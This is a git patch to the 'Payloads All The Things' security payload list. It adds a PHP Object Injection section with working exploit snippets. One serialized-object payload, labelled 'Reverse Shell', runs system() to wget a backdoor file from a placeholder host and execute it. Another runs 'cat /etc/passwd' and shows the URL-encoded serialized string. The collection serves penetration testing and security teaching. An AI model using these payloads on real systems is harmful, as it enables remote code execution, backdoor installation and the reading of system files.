From db09e42a57de59aad356385e0507b8cd264cf856 Mon Sep 17 00:00:00 2001
From: swisskyrepo <maxropelewski@gmail.com>
Date: Thu, 20 Oct 2016 11:02:19 +0700
Subject: [PATCH] PHP object injection

---
 PHP serialization/README.md | 31 +++++++++++++++++++++++++------
 README.md                   |  7 ++-----
 2 files changed, 27 insertions(+), 11 deletions(-)

diff --git a/PHP serialization/README.md b/PHP serialization/README.md
index c707ab4f..a3883907 100644
--- a/PHP serialization/README.md	
+++ b/PHP serialization/README.md	
@@ -1,12 +1,31 @@
-# Title
-Lorem	
+# PHP Object Injection
+PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.	
 
-## Vuln
+## Exploit
 
+Reverse Shell
+```php
+class PHPObjectInjection
+{
+   // CHANGE URL/FILENAME TO MATCH YOUR SETUP
+   public $inject = "system('wget http://URL/backdoor.txt -O phpobjbackdoor.php && php phpobjbackdoor.php');";
+}
+
+echo urlencode(serialize(new PHPObjectInjection));
 ```
-Code
+
+Basic detection
+```php
+class PHPObjectInjection
+{
+   // CHANGE URL/FILENAME TO MATCH YOUR SETUP
+   public $inject = "system('cat /etc/passwd');";
+}
+
+echo urlencode(serialize(new PHPObjectInjection));
+//O%3A18%3A%22PHPObjectInjection%22%3A1%3A%7Bs%3A6%3A%22inject%22%3Bs%3A26%3A%22system%28%27cat+%2Fetc%2Fpasswd%27%29%3B%22%3B%7D
+//'O:18:"PHPObjectInjection":1:{s:6:"inject";s:26:"system(\'cat+/etc/passwd\');";}'
 ```
 
 ## Thanks to
-* Lorem
-* Ipsum
\ No newline at end of file
+* https://www.owasp.org/index.php/PHP_Object_Injection
\ No newline at end of file
diff --git a/README.md b/README.md
index 0379aa5e..025b0037 100644
--- a/README.md
+++ b/README.md
@@ -1,8 +1,6 @@
 # Payloads All The Things
 A list of usefull payloads and bypasses for Web Application Security
-
-TODO:
-* PHP Serialization
+Feel free to improve with your payloads (I <3 pull requests) :)
 
 To improve:
 * RCE
@@ -15,5 +13,4 @@ To improve:
 * XSS
 * PHP Include
 * CSV Injection
-
-# /!\ Work in Progress : 70%
+* PHP Serialization